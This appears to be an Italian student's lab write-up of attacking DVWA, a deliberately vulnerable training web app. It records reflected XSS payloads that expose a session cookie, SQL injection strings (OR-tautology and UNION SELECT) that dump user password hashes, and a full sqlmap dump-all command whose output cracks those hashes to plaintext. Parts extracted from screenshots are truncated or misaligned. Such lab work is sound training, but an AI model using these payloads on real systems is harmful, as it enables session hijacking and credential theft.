

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

`<script>alert('ciao')</script>`

Hello

What's your name?

`<i>ciao`

Hello ciao

⊕ 192.168.49.101

ciao

OK

What's your name?

`art(document.cookie)</script>`

Hello

⊕ 192.168.49.101

security=low; PHPSESSID=3e054a222c34e3f3522a15571688e02b

OK

Sql Injection, difficoltà low:

Vulnerability: SQL Injection

User ID:

ID: 1
First name: admin
Surname: admin

Input:

1' OR 'a' = 'a' #

In questo modo estraggo tutti i record invece che solo il primo

ID: 1' OR 'a' = 'a'#
First name: admin
Surname: admin

ID: 1' OR 'a' = 'a'#
First name: Gordon
Surname: Brown

ID: 1' OR 'a' = 'a'#
First name: Hack
Surname: Me

ID: 1' OR 'a' = 'a'#
First name: Pablo
Surname: Picasso

ID: 1' OR 'a' = 'a'#
First name: Bob
Surname: Smith

1' UNION SELECT user_id, password FROM users #

Così estraggo invece user id e password di tutti gli utenti

```
ID: 1' UNION SELECT user_id, password FROM users #
First name: admin
Surname: admin

ID: 1' UNION SELECT user_id, password FROM users #
First name: 1
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user_id, password FROM users #
First name: 2
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user_id, password FROM users #
First name: 3
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user_id, password FROM users #
First name: 4
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user_id, password FROM users #
First name: 5
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

| | |
|--|---------------------------------------|
| <input type="text"/> | <input type="button" value="Submit"/> |
| <pre>ID: 1' UNION SELECT user, password FROM users # First name: admin Surname: admin ID: 1' UNION SELECT user, password FROM users # First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ID: 1' UNION SELECT user, password FROM users # First name: gordonb Surname: e99a18c428cb38d5f260853678922e03 ID: 1' UNION SELECT user, password FROM users # First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b ID: 1' UNION SELECT user, password FROM users # First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 ID: 1' UNION SELECT user, password FROM users # First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99</pre> | |

Ho estratto username e password

Con sqlmap:

Comando in input

```
(alessio㉿kali)-[~] $ sqlmap 192.168.49.101/dvwa/vulnerabilities/sqli/?id=1\&Submit=Submit --cookie="PHPSESSID=3e054a222c34e3f3522a15571688e02b; security=low" -D dvwa --dump-all -level 1 -p id --proxy="http://127.0.0.1:8080" --batch
```

Pass cracking

Evidentemente fa in automatico il password cracking

```
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[06:39:03] [INFO] using hash method 'md5_generic_passwd'
[06:39:03] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[06:39:03] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[06:39:03] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[06:39:03] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
```

Tabella user:

| +-----+-----+-----+ | +-----+-----+ |
|---|---|
| user_id user avatar | password |
| last_name first_name | |
| 1 Abol admin http://172.16.123.129/dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| 2 gordonb admin http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 Brown Gordon | |
| 4 Cookies 1337 http://172.16.123.129/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 5 Me Hack | |
| 6 pablo pablo http://172.16.123.129/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 7 Picasso Pablo http://172.16.123.129/dvwa/hackable/users/Picasso.jpg | 78038e654ecde63ee454c91faa... (Me...) |
| 8 Interes smithy http://172.16.123.129/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| 9 Smith Bob | |
| +-----+-----+-----+ | |